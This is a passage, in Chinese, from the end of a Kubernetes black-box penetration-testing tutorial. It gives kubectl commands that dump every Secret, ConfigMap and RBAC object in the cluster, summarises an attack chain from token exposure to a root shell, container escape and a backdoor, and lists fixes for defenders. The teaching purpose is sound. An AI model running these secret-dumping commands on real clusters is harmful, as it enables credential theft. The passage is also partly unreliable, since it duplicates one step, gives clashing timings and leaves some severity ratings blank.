为何这很危险:这确保了即使原始漏洞被修复,也能维持持久性访问。

file

步骤5:窃取集群配置

我们在做什么:导出所有集群资源以供分析。

目的:拥有集群的完整转储有助于我们了解一切并发现更多漏洞。

命令

# 导出所有资源
kubectl get all -A -o yaml > ~/blackbox-pentest/proof/cluster-dump.yaml
# 导出所有Secrets
kubectl get secrets -A -o yaml > ~/blackbox-pentest/proof/secrets-dump.yaml
# 导出所有ConfigMaps
kubectl get configmaps -A -o yaml > ~/blackbox-pentest/proof/configmaps-dump.yaml
# 导出RBAC配置
kubectl get roles,rolebindings,clusterroles,clusterrolebindings -A -o yaml > ~/blackbox-pentest/proof/rbac-dump.yaml

这有什么作用:创建集群配置的完整备份。在真实的攻击中,这将被窃取以供进一步分析。

完整的攻击链总结

完整过程

以下是我们逐步完成的内容:

  1. 侦察 (阶段0)

    • 扫描目标并发现9个开放端口
    • 识别出3个易受攻击的Web应用程序
    • 发现了Kubernetes API服务器
  2. 初始访问 (阶段1)

    • 使用端口30082提取服务账户令牌
    • 验证令牌拥有集群管理员权限
    • 沦陷时间:约5分钟
  3. 信息披露 (阶段2)

    • 枚举了所有命名空间、Pod、Secrets和服务账户
    • 了解了集群结构
    • 识别出特权容器
  4. 权限提升 (阶段3)

    • 已经拥有集群管理员权限(无需提升)
    • 验证我们可以创建资源
  5. 集群访问 (阶段4)

    • 配置kubectl以便于访问
    • 获得了完整的命令行控制
  6. 横向移动 (阶段5)

    • 利用命令注入(端口30081)获得root shell
    • 利用命令注入(端口30081)获得root shell
    • 利用SQL注入(端口30080)访问数据库
    • 提取了环境变量
  7. 容器逃逸 (阶段6)

    • 访问了特权容器
    • 获得了对宿主机文件系统的访问权限
  8. 完全沦陷 (阶段7)

    • 创建了恶意Pods
    • 提取了所有Secrets
    • 创建了持久性后门
    • 窃取了集群配置

达到完全沦陷的总时间

从开始到结束大约1.5–2小时

利用的关键漏洞

  1. 令牌暴露 (端口30082) —— 严重

    • 服务账户令牌通过Web端点暴露
    • 令牌拥有集群管理员权限
    • 影响:立即获得完整的集群访问权限
  2. 命令注入 (端口30081) ——

    • API端点执行系统命令
    • 以root身份运行
    • 影响:远程代码执行
  3. SQL注入 (端口30080) ——

    • 用户搜索易受SQL注入攻击
    • 影响:数据库访问,数据盗窃
  4. 特权容器 ——

    • 多个容器拥有特权访问权限
    • 影响:容器逃逸,宿主机访问
  5. 过度宽松的RBAC —— 严重

    • 服务账户绑定到集群管理员
    • 影响:完全控制集群

建议

  1. 移除令牌暴露端点 —— 永远不要暴露服务账户令牌
  2. 修复命令注入 —— 清理所有用户输入
  3. 修复SQL注入 —— 使用参数化查询
  4. 移除集群管理员绑定 —— 遵循最小权限原则
  5. 移除特权容器 —— 仅在绝对必要时使用
  6. 实施网络策略 —— 限制Pod到Pod的通信
  7. 启用Pod安全标准 —— 强制执行安全策略

结论

本指南演示了一次完整的Kubernetes黑盒渗透测试。我们从零知识开始,在一小时内实现了整个集群的完全沦陷。

关键要点

  1. 令牌暴露是至关重要的 —— 暴露服务账户令牌可能导致立即的集群沦陷
  2. Web应用程序漏洞很重要 —— SQL注入和命令注入仍然很常见
  3. RBAC配置错误是危险的 —— 过于宽松的角色可能给攻击者完全的控制权
  4. 特权容器有风险 —— 它们可能导致容器逃逸和宿主机沦陷

对于防御者

  • 定期审计服务账户权限
  • 使用最小权限原则
  • 扫描暴露的令牌
  • 实施网络策略
  • 使用Pod安全标准
  • 定期测试你的安全性

对于攻击者(道德黑客)

  • 始终从侦察开始
  • 寻找暴露的令牌和凭证
  • 测试Web应用程序的常见漏洞
  • 枚举RBAC配置
  • 为你的报告记录一切